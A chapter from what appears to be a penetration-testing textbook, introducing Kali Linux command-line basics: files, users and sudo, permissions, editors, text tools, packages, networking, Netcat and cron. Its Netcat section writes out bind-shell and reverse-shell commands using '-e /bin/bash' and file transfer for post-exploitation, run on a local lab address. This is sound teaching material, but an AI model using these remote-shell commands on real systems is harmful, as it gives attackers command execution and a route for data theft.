# 2

# USING KALI LINUX

You will use Kali Linux as the attack platform throughout this book. Kali, the successor to the popular BackTrack Linux, is a Debian-based distribution that comes with a plethora of penetration testing tools preinstalled and preconfigured. Anyone who's ever tried to set up a pentesting box from scratch the day before a big engagement knows that getting everything working correctly can be a real pain. Having everything preconfigured in Kali can save a lot of time and headaches. Kali Linux works just like the standard Debian GNU/Linux distribution, with a lot of extra tools.

Rather than point and click your way through Kali, you'll use the Linux command line because that's where the real power lies. In this chapter we'll look at how to perform some common Linux tasks from the command line. If you're already a Linux expert, you can skip this chapter and move on to Chapter 3; if not, take some time and dive in.

## Linux Command Line

The Linux command line looks like this:

```
root@kali:~#
```

Like a DOS prompt or the Mac OS terminal, the Linux command line gives you access to a command processor called Bash that allows you to control the system by entering text-based instructions. When you open the command line you'll see the prompt `root@kali#`. *Root* is the superuser on Linux systems, and it has complete control of Kali.

To perform operations in Linux, you enter commands along with any relevant options. For example, to view the contents of root's home directory, enter the command **`ls`** as shown here.

```
root@kali:~# ls
Desktop
```

As you can see, there's not much in the root directory, only a folder called *Desktop*.

## The Linux Filesystem

In the Linux world, everything is a file: keyboards, printers, network devices—everything. All files can be viewed, edited, deleted, created, and moved. The Linux filesystem is made up of a series of directories that branch off from the root of the filesystem (`/`).

To see your current directory, enter **`pwd`** at the terminal:

```
root@kali:~# pwd
/root
```

### *Changing Directories*

To move to another directory, enter `cd` *`directory`* using either the absolute or relative path to the new directory, based your current location. The *absolute path* is the path to a file in relation to the root directory (`/`). For example, to change to your desktop from anywhere, you could enter the absolute path to the desktop with `cd /root/Desktop` to reach the root user's desktop. If you were in the directory */root* (the root user's home directory), you could use the *relative path* to the desktop (that is, relative to your current location) by entering `cd Desktop`, which would also take you to the desktop.

The command `cd ..` takes you back one level in the filesystem, as shown here.

```
root@kali:~/Desktop# cd ..
root@kali:~/# cd ../etc
root@kali:/etc#
```

Entering `cd ..` from root's *Desktop* directory takes us back to root's home directory. Entering `cd ../etc` from there moves us back up to the root of the filesystem and then to the */etc* directory.

## Learning About Commands: The Man Pages

To learn more about a command and its options and arguments, you can view its documentation (called its *manual page*, or *man page*) by entering `man` *command*. For example, to learn more about the `ls` command enter **`man ls`** as shown in Listing 2-1.

```
root@kali:~# man ls

LS(1)                          User Commands                          LS(1)

NAME
       ls - list directory contents

SYNOPSIS
       ls [OPTION]... [FILE]... ❶

DESCRIPTION ❷
       List  information  about  the FILEs (the current directory by default).
       Sort entries alphabetically if none of -cftuvSUX nor --sort  is  speci-
       fied.

       Mandatory  arguments  to  long  options are mandatory for short options
       too.

       -a, --all ❸
              do not ignore entries starting with .

       -A, --almost-all
              do not list implied . and ..
--snip--
       -l     use a long listing format
--snip--
```

*Listing 2-1: Linux man page*

The man page gives useful (if a bit unfriendly looking) information about the `ls` command including its usage ❶, description ❷, and available options ❸.

As you can see in the description section at ❷, the `ls` command lists all files in the current working directory by default, but you can also use `ls` to get information about a particular file. For example, according to the man page you can use the `-a` option with `ls` to show all files, including *hidden directories*—directories not shown in the default `ls` listing—as shown in Listing 2-2.

```
root@kali:~# ls -a
.                       .mozilla
..                      .msf4
.android                .mysql_history
.bash_history           .nano_history
--snip--
```

*Listing 2-2: Using an option with `ls`*

As you can see, there are several hidden directories in the root directory, all of which are preceded by a period (`.`) character. (In Chapter 8, we'll see how these sometimes-hidden directories can lead to a system compromise.) You can also see the entries `.` and `..`, which denote the current directory and the parent directory, respectively.

## User Privileges

Linux user accounts offer resources to a particular individual or service. A user may log in with a password and be offered certain resources on the Linux system, such as the ability to write files and browse the Internet. That user may not be able to see files that belong to other users and can have reasonable assurance that other users can't see his or her files either. In addition to traditional user accounts used by a person who logs in with a password and accesses the system, Linux systems can allow software to have a user account. The software can have the ability to use system resources to do its job, but it cannot read other users' private files. The accepted best practice on Linux systems is to run day-to-day commands as an unprivileged user account instead of running everything as the privileged root user to avoid inadvertently harming your system or granting excessive privilege to the commands and applications you run.

### Adding a User

By default, Kali offers only the privileged root account. Though many security tools require root privileges to run, you may want to add another unprivileged account for everyday use to reduce the potential for damage to your system. Remember, the root account can do anything on Linux, including corrupting all of your files.

To add a new user *georgia* to your Kali system use the `adduser` command, as shown in Listing 2-3.

```
root@kali:~# adduser georgia
Adding user `georgia' ...
Adding new group `georgia' (1000) ...
Adding new user `georgia' (1000) with group `georgia' ... ❶
Creating home directory `/home/georgia' ... ❷
Copying files from `/etc/skel' ...
Enter new UNIX password: ❸
Retype new UNIX password:
```

```
passwd: password updated successfully
Changing the user information for georgia
Enter the new value, or press ENTER for the default
      Full Name []: Georgia Weidman ❹
      Room Number []:
      Work Phone []:
      Home Phone []:
      Other []:
Is the information correct? [Y/n] Y
```

*Listing 2-3: Adding a new user*

As you can see, in addition to adding a user to the system, a group *georgia* is created, a new user is added to this group ❶, a home directory is created for the user ❷, and the system prompts for information about the user, such as a password ❸ and the user's full name ❹.

### Adding a User to the sudoers File

When you need to do something that requires root privileges as a regular user, use the `sudo` command along with the command that you want to run as root, and then enter your password. For the newly created user *georgia* to be able to run privileged commands you need to add her to the *sudoers* file, which specifies which users can use the `sudo` command. To do so, enter **`adduser` *`username`* `sudo`** as shown here.

```
root@kali:~# adduser georgia sudo
Adding user 'georgia' to group `sudo' ...
Adding user georgia to group sudo
Done.
```

### Switching Users and Using sudo

To switch users in your terminal session, say from the root user to *georgia*, use the `su` command as shown in Listing 2-4.

```
root@kali:~# su georgia
georgia@kali:/root$ adduser john
bash: adduser: command not found ❶
georgia@kali:/root$ sudo adduser john
[sudo] password for georgia:
Adding user `john' ... ❷
Adding new group `john' (1002) ...
Adding new user `john' (1002) with group `john' ...
--snip--
georgia@kali:/root$ su
Password:
root@kali:~#
```

*Listing 2-4: Switching to a different user*

You switch users with the `su` command. If you try to run commands (such as the `adduser` command) that require more privileges than the current user (*georgia*), the command is unsuccessful (`command not found`) ❶ because you can run the `adduser` command only as root.

Luckily, as discussed previously, you can use the `sudo` command to run a command as root. Because the *georgia* user is a member of the `sudo` group, you can run privileged commands, and you can see user *john* is added ❷ to the system.

To change back to the root user, enter the `su` command with no username. You will be prompted for the root's password (*toor*).

### Creating a New File or Directory

To create a new, empty file called *myfile*, use the `touch` command.

```
root@kali:# touch myfile
```

To create a new directory in your current working directory, enter **`mkdir`** ***`directory`*** as shown here.

```
root@kali:~# mkdir mydirectory
root@kali:~# ls
 Desktop               mydirectory        myfile
root@kali:~# cd mydirectory/
```

Use **`ls`** to confirm that the new directory has been created, and then change to *mydirectory* using **`cd`**.

### Copying, Moving, and Removing Files

To copy a file, use the `cp` command as shown here.

```
root@kali:/mydirectory# cp /root/myfile myfile2
```

The syntax is `cp` *`source destination`*. When using `cp`, the original file is left in place, and a copy is made at the desired destination.

Similarly, you can move a file from one location to another using the `mv` command. The syntax is identical to `cp`, but this time the file is removed from the source location.

You can remove a file from the filesystem by entering `rm` *`file`*. To remove files recursively use the `-r` command.

**WARNING** *Be careful when removing files, particularly recursively! Some hackers joke that the first command to teach Linux beginners is `rm -rf` from the root directory, which forcibly deletes the entire filesystem. This teaches new users the power of performing actions as root. Don't try that at home!*

### Adding Text to a File

The `echo` command echoes what you enter to the terminal, as shown here.

```
root@kali:/mydirectory# echo hello georgia
hello georgia
```

To save text to a file, you can redirect your input to a file instead of to the terminal with the > symbol.

```
root@kali:/mydirectory# echo hello georgia > myfile
```

To see the contents of your new file you can use the `cat` command.

```
root@kali:/mydirectory# cat myfile
hello georgia
```

Now echo a different line of text into *myfile* as shown next.

```
root@kali:# echo hello georgia again > myfile
root@kali:/mydirectory# cat myfile
hello georgia again
```

The > overwrites the previous contents of the file. If you echo another line into *myfile*, that new line overwrites the output of the previous command. As you can see, the contents of *myfile* now reads *hello georgia again*.

### Appending Text to a File

To append text to a file, use >> as shown here.

```
root@kali:/mydirectory# echo hello georgia a third time >> myfile
root@kali:/mydirectory# cat myfile
hello georgia again
hello georgia a third time
```

As you can see, appending preserves the previous contents of the file.

## File Permissions

If you look at the long output of `ls -l` on *myfile*, you can see the current permissions for *myfile*.

```
root@kali:~/mydirectory# ls -l myfile
-rw-r--r-- 1 root root 47 Apr 23 21:15 myfile
```

From left to right you see the file type and permissions (`-rw-r–r--`), the number of links to the file (1), the user and group that own the file (root), the file size (47 bytes), the last time the file was edited (April 23, 21:15), and finally the filename (*myfile*).

Linux files have permissions to read (`r`), write (`w`), and execute (`x`) and three sets of user permissions: permissions for the owner, the group, and all users. The first three letters denote the permissions for the owner, the following three denote the permissions for the group, and the final three denote the permissions for all users. Since you created *myfile* from the root user account, the file is owned by user *root* and group *root*, as you can see in the output with `root root`. User root has read and write permissions for the file (`rw`). Other users in the group, if there are any, can read the file (`r`) but not write to or execute it. The last `r` shows that all users on the filesystem can read the file.

To change permissions on a file, use the `chmod` command. You can use `chmod` to specify permissions for the owner, the group, and the world. When specifying permissions use the numbers from 0 through 7 as shown in Table 2-1.

**Table 2-1:** Linux File Permissions

| Integer Value | Permissions | Binary Representation |
|---|---|---|
| 7 | full | 111 |
| 6 | read and write | 110 |
| 5 | read and execute | 101 |
| 4 | read only | 100 |
| 3 | write and execute | 011 |
| 2 | write only | 010 |
| 1 | execute only | 001 |
| 0 | none | 000 |

When entering new file permissions, you use one digit for the owner, one for the group, and one for world. For example, to give the owner full permissions but the group and the world no permissions to read, write, or execute a file, use **`chmod 700`** like this:

```
root@kali:~/mydirectory# chmod 700 myfile
root@kali:~/mydirectory# ls -l myfile
-rwx------❶ 1 root root 47 Apr 23 21:15 myfile
```

Now when you run the `ls -l` command on *myfile*, you can see that root has read, write, and execute (`rwx`) permissions and the other sets are blank ❶. If you try to access the file as any user other than root, you'll get a permission denied error.

## Editing Files

Perhaps no debate brings out such passion among Linux users as which is the best file editor. We'll look at the basics of using two popular editors, vi and nano, beginning with my favorite, nano.

```
root@kali:~/mydirectory# nano testfile.txt
```

Once in nano you can begin adding text to a new file called *testfile.txt*. When you open nano, you should see a blank file with help information for nano shown at the bottom of the screen, as shown here.

```
                                [ New File ]
^G Get Help  ^O WriteOut  ^R Read File ^Y Prev Page ^K Cut Text  ^C Cur Pos
^X Exit      ^J Justify   ^W Where Is  ^V Next Page ^U UnCut Text^T To Spell
```

To add text to the file, just start typing.

### Searching for Text

To search for text in a file, use CTRL-W, and then enter the text to search for at the search prompt as shown next.

```
--snip--
Search:georgia
^G Get Help  ^Y First Line^T Go To Line^W Beg of ParM-J FullJstifM-B Backwards
^C Cancel    ^V Last Line ^R Replace   ^O End of ParM-C Case SensM-R Regexp
```

Nano should find the text *georgia* if the word is in the file. To exit, press CTRL-X. You will be prompted to save the file or lose the changes, as shown here:

```
--snip--
Save modified buffer (ANSWERING "No" WILL DESTROY CHANGES) ? Y
 Y Yes
 N No           ^C Cancel
```

Enter `Y` to save the file. Now we'll edit the file with the vi editor.

### Editing a File with vi

Add the text in Listing 2-5 to *testfile.txt*. In addition to the contents of the file, at the bottom of the vi screen you see some information including the filename, number of lines, and the current cursor position (see Listing 2-5).

```
root@kali:~/mydirectory# vi testfile.txt
hi
georgia
we
are
teaching
pentesting
today
~

"testfile.txt" 7L, 46C                                        1,1
All
```

*Listing 2-5: Editing files with vi*

Unlike nano, you can't just start editing the file once it is opened in vi. To edit a file, enter `I` to put vi into insert mode. You should see the word *INSERT* displayed at the bottom of your terminal. Once you've finished making changes, press ESC to exit insert mode and return to command mode. Once in command mode, you can use commands to edit your text. For example, position the cursor at the line `we` and enter **`dd`** to delete the word `we` from the file.

To exit vi, enter **`:wq`** to tell vi to write the changes to the file and quit, as shown in Listing 2-6.

```
hi
georgia
are
teaching
pentesting
today

:wq
```

*Listing 2-6: Saving changes in vi*

**NOTE** *To learn more about available commands for vi and nano, read the corresponding man pages.*

Which editor you use daily is up to you. Throughout this book we'll use nano to edit files, but feel free to substitute your editor of choice.

## Data Manipulation

Now for a bit of data manipulation. Enter the text in Listing 2-7 in *myfile* using your desired text editor. The file lists some of my favorite security conferences and the months when they typically happen.

```
root@kali:~/mydirectory# cat myfile
1 Derbycon September
2 Shmoocon January
3 Brucon September
4 Blackhat July
5 Bsides *
6 HackerHalted October
7 Hackcon April
```

*Listing 2-7: Example list for data manipulation*

### Using grep

The command grep looks for instances of a text string in a file. For example, to search for all instances of the string *September* in our file, enter **grep September myfile** as follows.

```
root@kali:~/mydirectory# grep September myfile
1 Derbycon September
3 Brucon September
```

As you can see, grep tells us that Derbycon and Brucon are in September.

Now suppose you want only the names of the conferences in September but not the number or the month. You can send the output of grep to another command for additional processing using a pipe (|). The cut command allows you to take each line of input, choose a delimiter, and print specific fields. For example, to get just the names of conferences that run in September you can grep for the word *September* as you did previously. Next, you pipe (|) the output to cut, where you specify a space as the delimiter with the -d option and say you want the second field with the field (-f) option, as shown here.

```
root@kali:~/mydirectory# grep September myfile | cut -d " " -f 2
Derbycon
Brucon
```

The result, as you can see, is that by piping the two commands together you get just the conferences Derbycon and Brucon.

### Using sed

Another command for manipulating data is sed. Entire books have been written about using sed, but we'll cover just the basics here with a simple example of finding a specific word and replacing it.

The sed command is ideal for editing files automatically based on certain patterns or expressions. Say, for instance, you have a very long file, and you need to replace every instance of a certain word. You can do this quickly and automatically with the sed command.

In the language of sed, a slash (/) is the delimiter character. For example, to replace all instances of the word *Blackhat* with *Defcon* in *myfile*, enter **sed 's/Blackhat/Defcon/' myfile**, as shown in Listing 2-8.

```
root@kali:~/mydirectory# sed 's/Blackhat/Defcon/' myfile
1 Derbycon September
2 Shmoocon January
3 Brucon September
4 Defcon July
5 Bsides *
6 HackerHalted October
7 Hackcon April
```

*Listing 2-8: Replacing words with sed*

### *Pattern Matching with awk*

Another command line utility for pattern matching is the `awk` command. For example, if you want to find conferences numbered 6 or greater, you can use `awk` to search the first field for entries greater than 5, as shown here.

```
root@kali:~/mydirectory# awk '$1 >5' myfile
6 HackerHalted October
7 Hackcon April
```

Or, if you want only the first and third words in every line, you can enter **`awk '{print $1,$3;}' myfile`**, as shown in Listing 2-9.

```
root@kali:~/mydirectory# awk '{print $1,$3;}' myfile
1 September
2 January
3 September
4 July
5 *
6 October
7 April
```

*Listing 2-9: Selecting certain columns with awk*

**NOTE** *We've looked at only simple examples of using these data manipulation utilities in this section. To get more information, consult the man pages. These utilities can be powerful time-savers.*

## Managing Installed Packages

On Debian-based Linux distributions such as Kali Linux, you can use the Advanced Packaging Tool (`apt`) to manage packages. To install a package, enter **`apt-get install`** ***`package`***. For example, to install Raphael Mudge's front-end for Metasploit, Armitage, in Kali Linux, enter the following:

```
root@kali:~# apt-get install armitage
```

It's that easy: `apt` installs and configures Armitage for you.

Updates are regularly released for the tools installed on Kali Linux. To get the latest versions of the packages already installed, enter **`apt-get upgrade`**. The repositories Kali uses for packages are listed in the file */etc/apt/sources.list*. To add additional repositories, you can edit this file and then run the command `apt-get update` to refresh the database to include the new repositories.

**NOTE** *This book is built off the base install of Kali 1.0.6 unless otherwise noted in Chapter 1, so in order to follow along with the book as is, don't update Kali.*

## Processes and Services

In Kali Linux you can start, stop, or restart services using the `service` command. For example, to start the Apache web server, enter **`service apache2 start`** as shown next.

```
root@kali:~/mydirectory# service apache2 start
[....] Starting web server: apache2: Could not reliably determine the server's
fully qualified domain name, using 127.0.1.1 for ServerName
. ok
```

Likewise, to stop the MySQL database server, enter **`service mysql stop`**.

## Managing Networking

When setting up the Kali Linux virtual machines in Chapter 1, you used the `ifconfig` command to view network information as shown in Listing 2-10.

```
root@kali:~# ifconfig
eth0❶    Link encap:Ethernet  HWaddr 00:0c:29:df:7e:4d
         inet addr:192.168.20.9❷ Bcast:192.168.20.255  Mask:255.255.255.0❸
         inet6 addr: fe80::20c:29ff:fedf:7e4d/64 Scope:Link
         UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
         RX packets:1756332 errors:930193 dropped:17 overruns:0 frame:0
         TX packets:1115419 errors:0 dropped:0 overruns:0 carrier:0
         collisions:0 txqueuelen:1000
         RX bytes:1048617759 (1000.0 MiB)  TX bytes:115091335 (109.7 MiB)
         Interrupt:19 Base address:0x2024
--snip--
```

*Listing 2-10: Viewing networking information with `ifconfig`*

From the output of `ifconfig` you can glean a lot of information about your system's network state. For one, the network interface is called `eth0` ❶. The IPv4 address (`inet addr`) that my Kali box uses to talk to the network is 192.168.20.9 ❷ (yours will probably differ). An *IP address* is a 32-bit label assigned to devices in a network. The IP address is named up of 4 octets, or 8-bit parts.

The address's *network mask*, or *netmask* (`Mask`), at ❸ identifies which parts of the IP address are part of the network and which parts belong to the host. In this case the netmask 255.255.255.0 tells you that the network is the first three octets, 192.168.20.

The *default gateway* is where your host routes traffic to other networks. Any traffic destined outside the local network will be sent to the default gateway for it to figure out where it needs to go.

```
root@kali:~# route
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
default         192.168.20.1❶   0.0.0.0         UG    0      0        0 eth0
192.168.20.0    *               255.255.255.0   U     0      0        0 eth0
```

The `route` command output tells us that the default gateway is 192.168.20.1 ❶. This makes sense because the system with the IP address 192.168.20.1 is the wireless router in my home network. Take note of your own default gateway for use in the following section.

### Setting a Static IP Address

By default, your network connection uses dynamic host configuration protocol (DHCP) to pull an IP address from the network. To set a static address, so that your IP address won't change, you need to edit the file */etc/network/interfaces*. Use your preferred editor to open this file. The default configuration file is shown in Listing 2-11.

```
# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).

# The loopback network interface
auto lo
iface lo inet loopback
```

*Listing 2-11: The default* /etc/network/interfaces *file*

To give your system a static IP address you need to add an entry for the eth0 interface. Add the text shown in Listing 2-12 to */etc/network/interfaces* with the IP addresses changed to match your environment.

```
# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).

# The loopback network interface
auto lo
iface lo inet loopback
auto eth0
iface eth0 inet static ❶
address 192.168.20.9
```

```
netmask 255.255.255.0 ❷
gateway 192.168.20.1 ❸
```

*Listing 2-12: Adding a static IP address*

You set the IP address for eth0 as static at ❶. Use the IP address, netmask ❷, and gateway ❸ you found in the previous section to fill in the information in your file.

Once you've made these changes, restart networking with `service networking restart` so that the newly added static networking information will be used.

### Viewing Network Connections

To view network connections, listening ports, and so on, use the `netstat` command. For example, you can see the programs listening on TCP ports by issuing the command `netstat -antp`, as shown in Listing 2-13. *Ports* are simply software-based network sockets that listen on the network to allow remote systems to interact with programs on a system.

```
root@kali:~/mydirectory# netstat -antp
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
PID/Program name
tcp6       0      0 :::80                   :::*                    LISTEN
15090/apache2
```

*Listing 2-13: Using `netstat` to view listening ports*

You see that the Apache web server you started earlier in the chapter is listening on TCP port 80. (See the man page for other `netstat` options.)

## Netcat: The Swiss Army Knife of TCP/IP Connections

As the man page notes, the Netcat tool is known as the Swiss Army knife for TCP/IP connections. It's a versatile tool that we'll utilize throughout this book.

To see Netcat's various options enter **`nc -h`**, as shown in Listing 2-14.

```
root@kali:~# nc -h
[v1.10-40]
connect to somewhere:   nc [-options] hostname port[s] [ports] ...
listen for inbound:     nc -l -p port [-options] [hostname] [port]
options:
      -c shell commands  as `-e'; use /bin/sh to exec [dangerous!!]
      -e filename       program to exec after connect [dangerous!!]
      -b                allow broadcasts
--snip--
```

*Listing 2-14: Netcat help information*

### Check to See If a Port Is Listening

Let's have Netcat connect to a port to see if that port is listening for connections. You saw previously that the Apache web server is listening on port 80 on your Kali Linux system. Tell Netcat to attach to port 80 verbosely, or output rich, with the `-v` option as shown next. If you started Apache correctly, you should see the following when attempting to connect the service.

```
root@kali:~# nc -v 192.168.20.9 80
(UNKNOWN) [192.168.20.10] 80 (http) open
```

As you can see, Netcat reports that port 80 is indeed listening (`open`) on the network. (We'll look more at open ports and why they are interesting in Chapter 5's discussion of port scanning.)

You can also listen on a port for an incoming connection using Netcat, as shown next.

```
root@kali:~# nc -lvp 1234
listening on [any] 1234 ...
```

You use the options `l` for listen, `v` for verbose, and `p` to specify the port to listen on.

Next, open a second terminal window and use Netcat to connect to the Netcat listener.

```
root@kali:~# nc 192.168.20.9 1234
hi georgia
```

Once you connect, enter the text **`hi georgia`**, and when you return to the listener's terminal window, you see that a connection was received and your text was printed.

```
listening on [any] 1234 ...
connect to [192.168.20.9] from (UNKNOWN) [192.168.20.9] 51917
hi georgia
```

Close down both Netcat processes by pressing CTRL-C.

### Opening a Command Shell Listener

Now for something a bit more interesting. When you set up your Netcat listener, use the `-e` flag to tell Netcat to execute */bin/bash* (or start a Bash command prompt) when a connection is received. This allows anyone who connects to the listener to execute commands on your system, as shown next.

```
root@kali:~# nc -lvp 1234 -e /bin/bash
listening on [any] 1234 ...
```

**This command is dangerous; therefore, removed from latest netcat, if you want to use it, please install netcat.traditioanl**
**sudo apt install netcat-traditional**

Again, use a second terminal window to connect to the Netcat listener.

```
root@kali:~# nc 192.168.20.9 1234
whoami
root
```

You can now issue Linux commands to be executed by the Netcat listener. The `whoami` Linux command will tell you the current logged-in user. In this case, because the Netcat process was started by the *root* user, your commands will be executed as *root*.

**NOTE** *This is a simple example because both your Netcat listener and the connection are on the same system. You could use another of your virtual machines, or even your host system, for this exercise as well.*

Close down both Netcat processes again.

### Pushing a Command Shell Back to a Listener

In addition to listening on a port with a command shell, you can also push a command shell back to a Netcat listener. This time set up the Netcat listener without the `-e` flag as shown next.

```
root@kali:~# nc -lvp 1234
listening on [any] 1234 ...
```

Now open a second terminal, and connect back to the Netcat listener you just created as shown here.

```
root@kali:~# nc 192.168.20.9 1234 -e /bin/bash
```

Connect with Netcat as usual, but this time use the `-e` flag to execute */bin/bash* on the connection. Back in your first terminal you see a connection as shown next, and if you enter terminal commands, you will see them executed. (We'll learn more about listening with */bin/bash* on a local port and actively pushing */bin/bash* with a connection, known as *bind shells* and *reverse shells*, respectively, in Chapter 4.)

```
listening on [any] 1234 ...
connect to [192.168.20.9] from (UNKNOWN) [192.168.20.9] 51921
whoami
root
```

Now, one more thing with Netcat. This time, instead of outputting what comes into your listener to the screen, use `>` to send it to a file as shown next.

```
root@kali:~# nc -lvp 1234 > netcatfile
listening on [any] 1234 ...
```

In the second terminal you set up Netcat to connect, but this time you use the `<` symbol to tell it to send the contents of a file (*myfile*) over the

Netcat connection. Give Netcat a second or two to finish, and then examine the contents of the file *netcatfile* created by your first Netcat instance. The contents should be identical to *myfile*.

```
root@kali:~# nc 192.168.20.9 1234 < mydirectory/myfile
```

You have used Netcat to transfer the file. In this case we've simply transferred the file from one directory to another, but you can imagine how this technique can be used to transfer files from system to system—a technique that often comes in handy in the post-exploitation phase of a pentest, once you have access to a system.

## Automating Tasks with cron Jobs

The `cron` command allows us to schedule tasks to automatically run at a specified time. In the */etc* directory in Kali, you can see several files and directories related to `cron`, as shown in Listing 2-15.

```
root@kali:/etc# ls | grep cron
cron.d
cron.daily
cron.hourly
cron.monthly
crontab
cron.weekly
```

*Listing 2-15: crontab files*

The *cron.daily*, *cron.hourly*, *cron.monthly*, and *cron.weekly* directories specify scripts that will run automatically, every day, every hour, every month, or every week, depending on which directory you put your script in.

If you need more flexibility you can edit `cron`'s configuration file, */etc/crontab*. The default text is shown in Listing 2-16.

```
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user    command
17 *  * * * root    cd / && run-parts --report /etc/cron.hourly ❶
25 6  * * * root  test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily ) ❷
47 6  * * 7 root  test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6  1 * * root  test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
```

*Listing 2-16: crontab configuration file*

The fields in a `crontab` are, from left to right, the minute, hour, day of the month, month, day of the week, user who will run the command, and, finally, the command to be run. To run a command every day of the week, every hour, and so on, you use an asterisk (*) instead of specifying a value for the column.

For example, look at the first `crontab` line at ❶, which runs the hourly `cron` jobs specified in */etc/cron.hourly*. This `crontab` runs on the 17th minute of every hour every day of every month on every day of the week. The line at ❷ says that the daily `crontab` (*/etc/cron.daily*) will be run at the 25th minute of the 6th hour of every day of every month on every day of the week. (For more flexibility, you can add a line here instead of adding to the hourly, daily, weekly, or monthly lists.)

## Summary

In this chapter we've looked at some common Linux tasks. Navigating the Linux filesystem, working with data, and running services are all skills that will serve you well as you move through the rest of this book. In addition, when attacking Linux systems, knowing which commands to run in a Linux environment will help you make the most of successful exploitation. You may want to automatically run a command periodically by setting up a `cron` job or use Netcat to transfer a file from your attack machine. You will use Kali Linux to run your attacks throughout this book, and one of your target systems is Ubuntu Linux, so having the basics in place will make learning pentesting come more naturally.